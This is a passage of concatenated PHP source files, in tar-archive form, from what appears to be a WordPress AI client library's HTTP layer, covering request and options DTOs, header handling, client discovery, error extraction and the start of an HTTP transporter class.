/**
* @var string|null The request body (raw string content).
*/
protected ?string $body = null;
/**
* @var RequestOptions|null Request transport options.
*/
protected ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null;
/**
* Constructor.
*
* @since 0.1.0
*
* @param HttpMethodEnum $method The HTTP method.
* @param string $uri The request URI.
* @param array<string, string|list<string>> $headers The request headers.
* @param string|array<string, mixed>|null $data The request data.
* @param RequestOptions|null $options The request transport options.
*
* @throws InvalidArgumentException If the URI is empty.
*/
public function __construct(HttpMethodEnum $method, string $uri, array $headers = [], $data = null, ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options = null)
{
if (empty($uri)) {
throw new InvalidArgumentException('URI cannot be empty.');
}
$this->method = $method;
$this->uri = $uri;
$this->headers = new HeadersCollection($headers);
// Separate data and body based on type
if (is_string($data)) {
$this->body = $data;
} elseif (is_array($data)) {
$this->data = $data;
}
$this->options = $options;
}
/**
* Creates a deep clone of this request.
*
* Clones the headers collection and request options to ensure
* the cloned request is independent of the original.
* The HTTP method enum is immutable and can be safely shared.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone headers collection
$this->headers = clone $this->headers;
// Clone request options if present (contains only primitives)
if ($this->options !== null) {
$this->options = clone $this->options;
}
// Note: $method is an immutable enum and can be safely shared
}
/**
* Gets the HTTP method.
*
* @since 0.1.0
*
* @return HttpMethodEnum The HTTP method.
*/
public function getMethod(): HttpMethodEnum
{
return $this->method;
}
/**
* Gets the request URI.
*
* For GET requests with array data, appends the data as query parameters.
*
* @since 0.1.0
*
* @return string The URI.
*/
public function getUri(): string
{
// If GET request with data, append as query parameters
if ($this->method === HttpMethodEnum::GET() && $this->data !== null && !empty($this->data)) {
$separator = str_contains($this->uri, '?') ? '&' : '?';
return $this->uri . $separator . http_build_query($this->data);
}
return $this->uri;
}
/**
* Gets the request headers.
*
* @since 0.1.0
*
* @return array<string, list<string>> The headers.
*/
public function getHeaders(): array
{
return $this->headers->getAll();
}
/**
* Gets a specific header value.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return list<string>|null The header value(s) or null if not found.
*/
public function getHeader(string $name): ?array
{
return $this->headers->get($name);
}
/**
* Gets header values as a comma-separated string.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return string|null The header values as a comma-separated string, or null if not found.
*/
public function getHeaderAsString(string $name): ?string
{
return $this->headers->getAsString($name);
}
/**
* Checks if a header exists.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return bool True if the header exists, false otherwise.
*/
public function hasHeader(string $name): bool
{
return $this->headers->has($name);
}
/**
* Gets the request body.
*
* For GET requests, returns null.
* For POST/PUT/PATCH requests:
* - If body is set, returns it as-is
* - If data is set and Content-Type is JSON, returns JSON-encoded data
* - If data is set and Content-Type is form, returns URL-encoded data
*
* @since 0.1.0
*
* @return string|null The body.
* @throws JsonException If the data cannot be encoded to JSON.
*/
public function getBody(): ?string
{
// GET requests don't have a body
if (!$this->method->hasBody()) {
return null;
}
// If body is set, return it as-is
if ($this->body !== null) {
return $this->body;
}
// If data is set, encode based on content type
if ($this->data !== null) {
$contentType = $this->getContentType();
// JSON encoding
if ($contentType !== null && stripos($contentType, 'application/json') !== \false) {
return json_encode($this->data, \JSON_THROW_ON_ERROR);
}
// Default to URL encoding for forms
return http_build_query($this->data);
}
return null;
}
/**
* Gets the Content-Type header value.
*
* @since 0.1.0
*
* @return string|null The Content-Type header value or null if not set.
*/
private function getContentType(): ?string
{
$values = $this->getHeader('Content-Type');
return $values !== null ? $values[0] : null;
}
/**
* Returns a new instance with the specified header.
*
* @since 0.1.0
*
* @param string $name The header name.
* @param string|list<string> $value The header value(s).
* @return self A new instance with the header.
*/
public function withHeader(string $name, $value): self
{
$newHeaders = $this->headers->withHeader($name, $value);
$new = clone $this;
$new->headers = $newHeaders;
return $new;
}
/**
* Returns a new instance with the specified data.
*
* @since 0.1.0
*
* @param string|array<string, mixed> $data The request data.
* @return self A new instance with the data.
*/
public function withData($data): self
{
$new = clone $this;
if (is_string($data)) {
$new->body = $data;
$new->data = null;
} elseif (is_array($data)) {
$new->data = $data;
$new->body = null;
} else {
$new->data = null;
$new->body = null;
}
return $new;
}
/**
* Gets the request data array.
*
* @since 0.1.0
*
* @return array<string, mixed>|null The request data array.
*/
public function getData(): ?array
{
return $this->data;
}
/**
* Gets the request options.
*
* @since 0.2.0
*
* @return RequestOptions|null Request transport options when configured.
*/
public function getOptions(): ?\WordPress\AiClient\Providers\Http\DTO\RequestOptions
{
return $this->options;
}
/**
* Returns a new instance with the specified request options.
*
* @since 0.2.0
*
* @param RequestOptions|null $options The request options to apply.
* @return self A new instance with the options.
*/
public function withOptions(?\WordPress\AiClient\Providers\Http\DTO\RequestOptions $options): self
{
$new = clone $this;
$new->options = $options;
return $new;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_METHOD => ['type' => 'string', 'description' => 'The HTTP method.'], self::KEY_URI => ['type' => 'string', 'description' => 'The request URI.'], self::KEY_HEADERS => ['type' => 'object', 'additionalProperties' => ['type' => 'array', 'items' => ['type' => 'string']], 'description' => 'The request headers.'], self::KEY_BODY => ['type' => ['string'], 'description' => 'The request body.'], self::KEY_OPTIONS => \WordPress\AiClient\Providers\Http\DTO\RequestOptions::getJsonSchema()], 'required' => [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return RequestArrayShape
*/
public function toArray(): array
{
$array = [
self::KEY_METHOD => $this->method->value,
self::KEY_URI => $this->getUri(),
// Include query params if GET with data
self::KEY_HEADERS => $this->headers->getAll(),
];
// Include body if present (getBody() handles the conversion)
$body = $this->getBody();
if ($body !== null) {
$array[self::KEY_BODY] = $body;
}
if ($this->options !== null) {
$optionsArray = $this->options->toArray();
if (!empty($optionsArray)) {
$array[self::KEY_OPTIONS] = $optionsArray;
}
}
return $array;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_METHOD, self::KEY_URI, self::KEY_HEADERS]);
return new self(HttpMethodEnum::from($array[self::KEY_METHOD]), $array[self::KEY_URI], $array[self::KEY_HEADERS] ?? [], $array[self::KEY_BODY] ?? null, isset($array[self::KEY_OPTIONS]) ? \WordPress\AiClient\Providers\Http\DTO\RequestOptions::fromArray($array[self::KEY_OPTIONS]) : null);
}
/**
* Creates a Request instance from a PSR-7 RequestInterface.
*
* @since 0.2.0
*
* @param RequestInterface $psrRequest The PSR-7 request to convert.
* @return self A new Request instance.
* @throws InvalidArgumentException If the HTTP method is not supported.
*/
public static function fromPsrRequest(RequestInterface $psrRequest): self
{
$method = HttpMethodEnum::from($psrRequest->getMethod());
$uri = (string) $psrRequest->getUri();
// Convert PSR-7 headers to array format expected by our constructor
/** @var array<string, list<string>> $headers */
$headers = $psrRequest->getHeaders();
// Get body content
$body = $psrRequest->getBody()->getContents();
$bodyOrData = !empty($body) ? $body : null;
return new self($method, $uri, $headers, $bodyOrData);
}
}
src/Providers/Http/DTO/RequestOptions.php 0000644 00000014523 15220530455 0014400 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
/**
* Represents optional HTTP transport configuration for a single request.
*
* Provides mutable setters for working with timeouts and redirect handling.
*
* @since 0.2.0
*
* @phpstan-type RequestOptionsArrayShape array{
* timeout?: float|null,
* connectTimeout?: float|null,
* maxRedirects?: int|null
* }
*
* @extends AbstractDataTransferObject<RequestOptionsArrayShape>
*/
class RequestOptions extends AbstractDataTransferObject
{
public const KEY_TIMEOUT = 'timeout';
public const KEY_CONNECT_TIMEOUT = 'connectTimeout';
public const KEY_MAX_REDIRECTS = 'maxRedirects';
/**
* @var float|null Maximum duration in seconds to wait for the full response.
*/
protected ?float $timeout = null;
/**
* @var float|null Maximum duration in seconds to wait for the initial connection.
*/
protected ?float $connectTimeout = null;
/**
* @var int|null Maximum number of redirects to follow. 0 disables redirects, null is unspecified.
*/
protected ?int $maxRedirects = null;
/**
* Sets the request timeout in seconds.
*
* @since 0.2.0
*
* @param float|null $timeout Timeout in seconds.
* @return void
*
* @throws InvalidArgumentException When timeout is negative.
*/
public function setTimeout(?float $timeout): void
{
$this->validateTimeout($timeout, self::KEY_TIMEOUT);
$this->timeout = $timeout;
}
/**
* Sets the connection timeout in seconds.
*
* @since 0.2.0
*
* @param float|null $timeout Connection timeout in seconds.
* @return void
*
* @throws InvalidArgumentException When timeout is negative.
*/
public function setConnectTimeout(?float $timeout): void
{
$this->validateTimeout($timeout, self::KEY_CONNECT_TIMEOUT);
$this->connectTimeout = $timeout;
}
/**
* Sets the maximum number of redirects to follow.
*
* Set to 0 to disable redirects, null for unspecified, or a positive integer
* to enable redirects with a maximum count.
*
* @since 0.2.0
*
* @param int|null $maxRedirects Maximum redirects to follow, or 0 to disable, or null for unspecified.
* @return void
*
* @throws InvalidArgumentException When redirect count is negative.
*/
public function setMaxRedirects(?int $maxRedirects): void
{
if ($maxRedirects !== null && $maxRedirects < 0) {
throw new InvalidArgumentException('Request option "maxRedirects" must be greater than or equal to 0.');
}
$this->maxRedirects = $maxRedirects;
}
/**
* Gets the request timeout in seconds.
*
* @since 0.2.0
*
* @return float|null Timeout in seconds.
*/
public function getTimeout(): ?float
{
return $this->timeout;
}
/**
* Gets the connection timeout in seconds.
*
* @since 0.2.0
*
* @return float|null Connection timeout in seconds.
*/
public function getConnectTimeout(): ?float
{
return $this->connectTimeout;
}
/**
* Checks whether redirects are allowed.
*
* @since 0.2.0
*
* @return bool|null True when redirects are allowed (maxRedirects > 0),
* false when disabled (maxRedirects = 0),
* null when unspecified (maxRedirects = null).
*/
public function allowsRedirects(): ?bool
{
if ($this->maxRedirects === null) {
return null;
}
return $this->maxRedirects > 0;
}
/**
* Gets the maximum number of redirects to follow.
*
* @since 0.2.0
*
* @return int|null Maximum redirects or null when not specified.
*/
public function getMaxRedirects(): ?int
{
return $this->maxRedirects;
}
/**
* {@inheritDoc}
*
* @since 0.2.0
*
* @return RequestOptionsArrayShape
*/
public function toArray(): array
{
$data = [];
if ($this->timeout !== null) {
$data[self::KEY_TIMEOUT] = $this->timeout;
}
if ($this->connectTimeout !== null) {
$data[self::KEY_CONNECT_TIMEOUT] = $this->connectTimeout;
}
if ($this->maxRedirects !== null) {
$data[self::KEY_MAX_REDIRECTS] = $this->maxRedirects;
}
return $data;
}
/**
* {@inheritDoc}
*
* @since 0.2.0
*/
public static function fromArray(array $array): self
{
$instance = new self();
if (isset($array[self::KEY_TIMEOUT])) {
$instance->setTimeout((float) $array[self::KEY_TIMEOUT]);
}
if (isset($array[self::KEY_CONNECT_TIMEOUT])) {
$instance->setConnectTimeout((float) $array[self::KEY_CONNECT_TIMEOUT]);
}
if (isset($array[self::KEY_MAX_REDIRECTS])) {
$instance->setMaxRedirects((int) $array[self::KEY_MAX_REDIRECTS]);
}
return $instance;
}
/**
* {@inheritDoc}
*
* @since 0.2.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the full response.'], self::KEY_CONNECT_TIMEOUT => ['type' => ['number', 'null'], 'minimum' => 0, 'description' => 'Maximum duration in seconds to wait for the initial connection.'], self::KEY_MAX_REDIRECTS => ['type' => ['integer', 'null'], 'minimum' => 0, 'description' => 'Maximum redirects to follow. 0 disables, null is unspecified.']], 'additionalProperties' => \false];
}
/**
* Validates timeout values.
*
* @since 0.2.0
*
* @param float|null $value Timeout to validate.
* @param string $fieldName Field name for the error message.
*
* @throws InvalidArgumentException When timeout is negative.
*/
private function validateTimeout(?float $value, string $fieldName): void
{
if ($value !== null && $value < 0) {
throw new InvalidArgumentException(sprintf('Request option "%s" must be greater than or equal to 0.', $fieldName));
}
}
}
src/Providers/Http/Abstracts/AbstractClientDiscoveryStrategy.php 0000644 00000005557 15220530455 0021220 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Abstracts;
use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy;
use WordPress\AiClientDependencies\Nyholm\Psr7\Factory\Psr17Factory;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
/**
* Abstract discovery strategy for HTTP client implementations.
*
* Provides a base for registering custom HTTP client implementations
* with HTTPlug's discovery mechanism. Subclasses must implement
* the createClient() method to provide their specific PSR-18
* HTTP client instance using the provided Psr17Factory.
*
* @since 1.1.0
*/
abstract class AbstractClientDiscoveryStrategy implements DiscoveryStrategy
{
/**
* Initializes and registers the discovery strategy.
*
* @since 1.1.0
*
* @return void
*/
public static function init(): void
{
if (!class_exists('WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery')) {
return;
}
Psr18ClientDiscovery::prependStrategy(static::class);
}
/**
* {@inheritDoc}
*
* @since 1.1.0
*
* @param string $type The type of discovery.
* @return array<array<string, mixed>> The discovery candidates.
*/
public static function getCandidates($type)
{
if (ClientInterface::class === $type) {
return [['class' => static function () {
$psr17Factory = new Psr17Factory();
return static::createClient($psr17Factory);
}]];
}
$psr17Factories = ['WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface', 'WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface'];
if (in_array($type, $psr17Factories, \true)) {
return [['class' => Psr17Factory::class]];
}
return [];
}
/**
* Creates an instance of the HTTP client.
*
* Subclasses must implement this method to return their specific
* PSR-18 HTTP client instance. The provided Psr17Factory implements
* all PSR-17 interfaces (RequestFactory, ResponseFactory, StreamFactory,
* etc.) and can be used to satisfy client constructor dependencies.
*
* @since 1.1.0
*
* @param Psr17Factory $psr17Factory The PSR-17 factory for creating HTTP messages.
* @return ClientInterface The PSR-18 HTTP client.
*/
abstract protected static function createClient(Psr17Factory $psr17Factory): ClientInterface;
}
src/Providers/Http/HttpTransporterFactory.php 0000644 00000002026 15220530455 0015454 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http;
use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
/**
* Factory for creating HTTP transporters.
*
* Uses HTTPlug's Discovery component to automatically find
* available HTTP clients and factories.
*
* @since 0.1.0
*/
class HttpTransporterFactory
{
/**
* Creates an HTTP transporter.
*
* Uses HTTPlug Discovery to automatically find PSR-18 client
* and PSR-17 factories if not provided.
*
* @since 0.1.0
*
* @return HttpTransporterInterface The HTTP transporter.
*/
public static function createTransporter(): HttpTransporterInterface
{
return new \WordPress\AiClient\Providers\Http\HttpTransporter(Psr18ClientDiscovery::find(), Psr17FactoryDiscovery::findRequestFactory(), Psr17FactoryDiscovery::findStreamFactory());
}
}
src/Providers/Http/Util/ResponseUtil.php 0000644 00000004146 15220530455 0014317 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Util;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Exception\ClientException;
use WordPress\AiClient\Providers\Http\Exception\RedirectException;
use WordPress\AiClient\Providers\Http\Exception\ServerException;
/**
* Class with static utility methods to process HTTP responses.
*
* @since 0.1.0
*/
class ResponseUtil
{
/**
* Throws an appropriate exception if the given response is not successful.
*
* This method checks the HTTP status code of the response and throws
* the appropriate exception type based on the status code range:
* - 3xx: RedirectException (redirect responses)
* - 4xx: ClientException (client errors)
* - 5xx: ServerException (server errors)
* - Other unsuccessful responses: RuntimeException (invalid status codes)
*
* @since 0.1.0
*
* @param Response $response The HTTP response to check.
* @throws RedirectException If the response indicates a redirect (3xx).
* @throws ClientException If the response indicates a client error (4xx).
* @throws ServerException If the response indicates a server error (5xx).
* @throws \RuntimeException If the response has an invalid status code.
*/
public static function throwIfNotSuccessful(Response $response): void
{
if ($response->isSuccessful()) {
return;
}
$statusCode = $response->getStatusCode();
// 3xx Redirect Responses
if ($statusCode >= 300 && $statusCode < 400) {
throw RedirectException::fromRedirectResponse($response);
}
// 4xx Client Errors
if ($statusCode >= 400 && $statusCode < 500) {
throw ClientException::fromClientErrorResponse($response);
}
// 5xx Server Errors
if ($statusCode >= 500 && $statusCode < 600) {
throw ServerException::fromServerErrorResponse($response);
}
throw new \RuntimeException(sprintf('Response returned invalid status code: %s', $response->getStatusCode()));
}
}
src/Providers/Http/Util/ErrorMessageExtractor.php 0000644 00000003545 15220530455 0016157 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Util;
/**
* Utility for extracting error messages from API response data.
*
* Centralizes the logic for parsing common API error response formats
* to avoid code duplication across exception classes.
*
* @since 0.2.0
* @since 0.4.0 Moved from Utilities namespace to Util namespace.
*/
class ErrorMessageExtractor
{
/**
* Extracts error message from API response data.
*
* Handles common error response formats:
* - { "error": { "message": "Error text" } }
* - { "error": "Error text" }
* - { "message": "Error text" }
*
* @since 0.2.0
*
* @param mixed $data The response data to extract error message from.
* @return string|null The extracted error message, or null if none found.
*/
public static function extractFromResponseData($data): ?string
{
if (!is_array($data)) {
return null;
}
// Handle [ { "error": { "message": "Error text" } } ]
if (isset($data[0]) && is_array($data[0]) && isset($data[0]['error']) && is_array($data[0]['error']) && isset($data[0]['error']['message']) && is_string($data[0]['error']['message'])) {
return $data[0]['error']['message'];
}
// Handle { "error": { "message": "Error text" } }
if (isset($data['error']) && is_array($data['error']) && isset($data['error']['message']) && is_string($data['error']['message'])) {
return $data['error']['message'];
}
// Handle { "error": "Error text" }
if (isset($data['error']) && is_string($data['error'])) {
return $data['error'];
}
// Handle { "message": "Error text" }
if (isset($data['message']) && is_string($data['message'])) {
return $data['message'];
}
return null;
}
}
src/Providers/Http/Traits/WithHttpTransporterTrait.php 0000644 00000002106 15220530455 0017231 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Traits;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
/**
* Trait for a class that implements WithHttpTransporterInterface.
*
* @since 0.1.0
*/
trait WithHttpTransporterTrait
{
/**
* @var HttpTransporterInterface|null The HTTP transporter instance.
*/
private ?HttpTransporterInterface $httpTransporter = null;
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function setHttpTransporter(HttpTransporterInterface $httpTransporter): void
{
$this->httpTransporter = $httpTransporter;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getHttpTransporter(): HttpTransporterInterface
{
if ($this->httpTransporter === null) {
throw new RuntimeException('HttpTransporterInterface instance not set. Make sure you use the AiClient class for all requests.');
}
return $this->httpTransporter;
}
}
src/Providers/Http/Traits/WithRequestAuthenticationTrait.php 0000644 00000002261 15220530455 0020400 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Traits;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
/**
* Trait for a class that implements WithRequestAuthenticationInterface.
*
* @since 0.1.0
*/
trait WithRequestAuthenticationTrait
{
/**
* @var RequestAuthenticationInterface|null The request authentication instance.
*/
private ?RequestAuthenticationInterface $requestAuthentication = null;
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function setRequestAuthentication(RequestAuthenticationInterface $requestAuthentication): void
{
$this->requestAuthentication = $requestAuthentication;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function getRequestAuthentication(): RequestAuthenticationInterface
{
if ($this->requestAuthentication === null) {
throw new RuntimeException('RequestAuthenticationInterface instance not set. ' . 'Make sure you use the AiClient class for all requests.');
}
return $this->requestAuthentication;
}
}
src/Providers/Http/Contracts/WithRequestAuthenticationInterface.php 0000644 00000001540 15220530455 0021706 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;
/**
* Interface for models that support request authentication.
*
* @since 0.1.0
*/
interface WithRequestAuthenticationInterface
{
/**
* Sets the request authentication.
*
* @since 0.1.0
*
* @param RequestAuthenticationInterface $authentication The authentication instance.
* @return void
*/
public function setRequestAuthentication(\WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface $authentication): void;
/**
* Returns the request authentication.
*
* @since 0.1.0
*
* @return RequestAuthenticationInterface The authentication instance.
*/
public function getRequestAuthentication(): \WordPress\AiClient\Providers\Http\Contracts\RequestAuthenticationInterface;
}
src/Providers/Http/Contracts/WithHttpTransporterInterface.php 0000644 00000001455 15220530455 0020546 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;
/**
* Interface for models that require HTTP transport capabilities.
*
* @since 0.1.0
*/
interface WithHttpTransporterInterface
{
/**
* Sets the HTTP transporter.
*
* @since 0.1.0
*
* @param HttpTransporterInterface $transporter The HTTP transporter instance.
* @return void
*/
public function setHttpTransporter(\WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface $transporter): void;
/**
* Returns the HTTP transporter.
*
* @since 0.1.0
*
* @return HttpTransporterInterface The HTTP transporter instance.
*/
public function getHttpTransporter(): \WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
}
src/Providers/Http/Contracts/HttpTransporterInterface.php 0000644 00000001534 15220530455 0017710 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\DTO\Response;
/**
* Interface for HTTP transport implementations.
*
* Handles sending HTTP requests and receiving responses using
* PSR-7, PSR-17, and PSR-18 standards internally.
*
* @since 0.1.0
*/
interface HttpTransporterInterface
{
/**
* Sends an HTTP request and returns the response.
*
* @since 0.1.0
*
* @param Request $request The request to send.
* @param RequestOptions|null $options Optional transport options for the request.
* @return Response The response received.
*/
public function send(Request $request, ?RequestOptions $options = null): Response;
}
src/Providers/Http/Contracts/RequestAuthenticationInterface.php 0000644 00000001155 15220530455 0021054 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;
use WordPress\AiClient\Common\Contracts\WithJsonSchemaInterface;
use WordPress\AiClient\Providers\Http\DTO\Request;
/**
* Interface for HTTP request authentication.
*
* @since 0.1.0
*/
interface RequestAuthenticationInterface extends WithJsonSchemaInterface
{
/**
* Authenticates an HTTP request.
*
* @since 0.1.0
*
* @param Request $request The request to authenticate.
* @return Request The authenticated request.
*/
public function authenticateRequest(Request $request): Request;
}
src/Providers/Http/Contracts/ClientWithOptionsInterface.php 0000644 00000002001 15220530455 0020141 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Contracts;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
/**
* Interface for HTTP clients that support per-request transport options.
*
* Extends the capabilities of PSR-18 clients by allowing custom transport
* configuration such as timeouts and redirect handling on each request.
*
* @since 0.2.0
*/
interface ClientWithOptionsInterface
{
/**
* Sends an HTTP request with the given transport options.
*
* @since 0.2.0
*
* @param RequestInterface $request The PSR-7 request to send.
* @param RequestOptions $options The request transport options. Must not be null.
* @return ResponseInterface The PSR-7 response received.
*/
public function sendRequestWithOptions(RequestInterface $request, RequestOptions $options): ResponseInterface;
}
src/Providers/Http/Collections/HeadersCollection.php 0000644 00000007411 15220530455 0016611 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http\Collections;
/**
* Simple collection for managing HTTP headers with case-insensitive access.
*
* This class stores HTTP headers while preserving their original casing
* and provides efficient case-insensitive lookups.
*
* @since 0.1.0
*/
class HeadersCollection
{
/**
* @var array<string, list<string>> The headers with original casing.
*/
private array $headers = [];
/**
* @var array<string, string> Map of lowercase header names to actual header names.
*/
private array $headersMap = [];
/**
* Constructor.
*
* @since 0.1.0
*
* @param array<string, string|list<string>> $headers Initial headers.
*/
public function __construct(array $headers = [])
{
foreach ($headers as $name => $value) {
$this->set($name, $value);
}
}
/**
* Gets a specific header value.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return list<string>|null The header value(s) or null if not found.
*/
public function get(string $name): ?array
{
$lowerName = strtolower($name);
if (!isset($this->headersMap[$lowerName])) {
return null;
}
$actualName = $this->headersMap[$lowerName];
return $this->headers[$actualName];
}
/**
* Gets all headers.
*
* @since 0.1.0
*
* @return array<string, list<string>> All headers with their original casing.
*/
public function getAll(): array
{
return $this->headers;
}
/**
* Gets header values as a comma-separated string.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return string|null The header values as a comma-separated string or null if not found.
*/
public function getAsString(string $name): ?string
{
$values = $this->get($name);
return $values !== null ? implode(', ', $values) : null;
}
/**
* Checks if a header exists.
*
* @since 0.1.0
*
* @param string $name The header name (case-insensitive).
* @return bool True if the header exists, false otherwise.
*/
public function has(string $name): bool
{
return isset($this->headersMap[strtolower($name)]);
}
/**
* Sets a header value, replacing any existing value.
*
* @since 0.1.0
*
* @param string $name The header name.
* @param string|list<string> $value The header value(s).
* @return void
*/
private function set(string $name, $value): void
{
if (is_array($value)) {
$normalizedValues = array_values($value);
} else {
// Split comma-separated string into array
$normalizedValues = array_map('trim', explode(',', $value));
}
$lowerName = strtolower($name);
// If header exists with different casing, remove the old casing
if (isset($this->headersMap[$lowerName])) {
$oldName = $this->headersMap[$lowerName];
if ($oldName !== $name) {
unset($this->headers[$oldName]);
}
}
// Always use the new casing
$this->headers[$name] = $normalizedValues;
$this->headersMap[$lowerName] = $name;
}
/**
* Returns a new instance with the specified header.
*
* @since 0.1.0
*
* @param string $name The header name.
* @param string|list<string> $value The header value(s).
* @return self A new instance with the header.
*/
public function withHeader(string $name, $value): self
{
$new = clone $this;
$new->set($name, $value);
return $new;
}
}
src/Providers/Http/HttpTransporter.php 0000644 00000025234 15220530455 0014132 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Http;
use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Psr18ClientDiscovery;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClient\Common\Exception\RuntimeException;
use WordPress\AiClient\Providers\Http\Contracts\ClientWithOptionsInterface;
use WordPress\AiClient\Providers\Http\Contracts\HttpTransporterInterface;
use WordPress\AiClient\Providers\Http\DTO\Request;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\DTO\Response;
use WordPress\AiClient\Providers\Http\Exception\NetworkException;
/**
* HTTP transporter implementation using HTTPlug.
*
* This class handles the conversion between custom Request/Response
* objects and PSR-7 messages, using HTTPlug for client abstraction
* and PSR-17 factories for message creation.
*
* @since 0.1.0
*/
class HttpTransporter implements HttpTransporterInterface
{
/**
* @var RequestFactoryInterface PSR-17 request factory.
*/
private RequestFactoryInterface $requestFactory;
/**
* @var StreamFactoryInterface PSR-17 stream factory.
*/
private StreamFactoryInterface $streamFactory;
/**
* @var ClientInterface PSR-18 HTTP client.
*/
private ClientInterface $client;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ClientInterface|null $client PSR-18 HTTP client.
* @param RequestFactoryInterface|null $requestFactory PSR-17 request factory.
* @param StreamFactoryInterface|null $streamFactory PSR-17 stream factory.
*/
public function __construct(?ClientInterface $client = null, ?RequestFactoryInterface $requestFactory = null, ?StreamFactoryInterface $streamFactory = null)
{
$this->client = $client ?: Psr18ClientDiscovery::find();
$this->requestFactory = $requestFactory ?: Psr17FactoryDiscovery::findRequestFactory();
$this->streamFactory = $streamFactory ?: Psr17FactoryDiscovery::findStreamFactory();
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 0.2.0 Added optional RequestOptions parameter and ClientWithOptions support.
*/
public function send(Request $request, ?RequestOptions $options = null): Response
{
$psr7Request = $this->convertToPsr7Request($request);
// Merge request options with parameter options, with parameter options taking precedence
$mergedOptions = $this->mergeOptions($request->getOptions(), $options);
try {
$hasOptions = $mergedOptions !== null;
if ($hasOptions && $this->client instanceof ClientWithOptionsInterface) {
$psr7Response = $this->client->sendRequestWithOptions($psr7Request, $mergedOptions);
} elseif ($hasOptions && $this->isGuzzleClient($this->client)) {
$psr7Response = $this->sendWithGuzzle($psr7Request, $mergedOptions);
} else {
$psr7Response = $this->client->sendRequest($psr7Request);
}
} catch (\WordPress\AiClientDependencies\Psr\Http\Client\NetworkExceptionInterface $e) {
throw NetworkException::fromPsr18NetworkException($psr7Request, $e);
} catch (\WordPress\AiClientDependencies\Psr\Http\Client\ClientExceptionInterface $e) {
